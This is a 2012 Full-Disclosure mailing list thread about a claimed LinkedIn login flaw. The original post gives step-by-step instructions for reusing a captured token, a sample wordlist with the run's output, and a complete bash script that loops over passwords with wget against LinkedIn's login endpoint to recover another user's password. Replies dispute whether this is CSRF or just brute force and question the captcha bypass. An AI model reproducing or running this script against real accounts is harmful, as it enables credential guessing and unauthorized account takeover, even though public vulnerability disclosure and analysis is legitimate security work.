It's a capcha bypass, not a CSRF as claimed. I'm also not quite sure if the capcha has really been bypassed at all as the blog post in spanish says you have to enter it manually from time to time...
"Si linkedin nos pone problemas con el captcha, lo que debemos hacer es ingresar via web con una cuenta valida, capturar nuevamente el Token e intentarlo nuevamente con ese token." This line is quite funny: "Nota: LinkedIn fue notificado hace 2 semanas sobre esta vulnerabilidad, pero no respondieron." (LinkedIn has been notified two weeks ago, but they never responded). The comments are pretty clueless too. On Thu, May 17, 2012 at 7:50 PM, Julius Kivimäki <julius.kivim...@gmail.com> wrote: > Where's the csrf? All I see here is an useless bruteforce attack. > > 2012/5/17 Fernando A. Lagos B. <ferna...@zerial.org> >> >> LinkedIn uses a Token into the login form which can be used many times >> for different usernames. You can do it using the same IP or differents >> IP, the token will not be verified. >> >> >> >> I. Step by step >> =============== >> 1). Login into your LinkedIn account and capture the "sourceAlias" and >> "csrfToken" variable (example: >> >> sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&csrfToken=ajax%3A6265303044444817496) >> >> 2). Use the Token to login into another account: >> >> https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A6265303044444817496&session_key=someb...@somedomain.com&session_password=ANY_PASSWORD&session_redirect=&sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&source_app=&trk=secureless >> >> session_key is the username and session_password is the password. >> >> 3). The password (session_password) is not correct If the requested URL >> returns "The email address or password you provided does not match our >> records", else the password if correct. >> >> >> >> II. PoC >> ======= >> >> 1). The Wordlist (filename: w) >> [zerial@belcebu ~]$ cat w >> asdfgh >> zxcvbnm >> 1234567 >> 0987654 >> 12345698 >> 456_4567 >> 123456qwert >> qwsdcv >> 12wedfgh >> 123456qwerty >> 12345qwei >> 112233 >> [zerial@belcebu ~]$ >> >> >> 2). Executing the script: >> [zerial@belcebu ~]$ sh linkedin.sh pa...@zerial.org w >> Password found: qwsdcv >> [zerial@belcebu ~]$ >> >> This is the correct password for this test user. >> >> >> >> >> III. Script >> =========== >> >> #!/bin/bash >> # >> # usage: ./linkedin.sh usern...@domain.com wordlist >> # >> >> TOKEN="ajax%3A6265303044444817496" >> sourceAlias="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi" >> >> if [ ! -f $2 ]; >> then >> echo "file $2 does not exists" >> exit >> fi >> >> _USR=$1 >> for _PWD in $(cat $2); >> do >> if [ $(echo -n $_PWD|wc -c) -lt 6 ]; >> then >> echo "Ignoring $_PWD (must be grather than 6 chars)"; >> continue >> fi >> wget -o /dev/null -O - >> >> "https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless"|grep >> 'The email address or password you provided does not match our >> records\|captcha' >>/dev/null >> if [ $? -eq 1 ]; >> then >> echo "Password found: $_PWD"; exit; >> fi >> done >> >> echo "Password NOT found. Try later." >> #EOF >> >> >> >> >> >> More info (in spanish): >> >> http://blog.zerial.org/seguridad/vulnerabilidad-en-linkedin-permite-obtencion-de-contrasenas/ >> >> >> >> >> cheers, >> -- >> Fernando A. Lagos Berardi >> Seguridad Informatica >> GNU/Linux User #382319 >> Blog: http://blog.zerial.org >> Jabber: zer...@jabberes.org >> >> _______________________________________________ >> Full-Disclosure - We believe in it. >> Charter: http://lists.grok.org.uk/full-disclosure-charter.html >> Hosted and sponsored by Secunia - http://secunia.com/ > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ -- “There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people.” _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/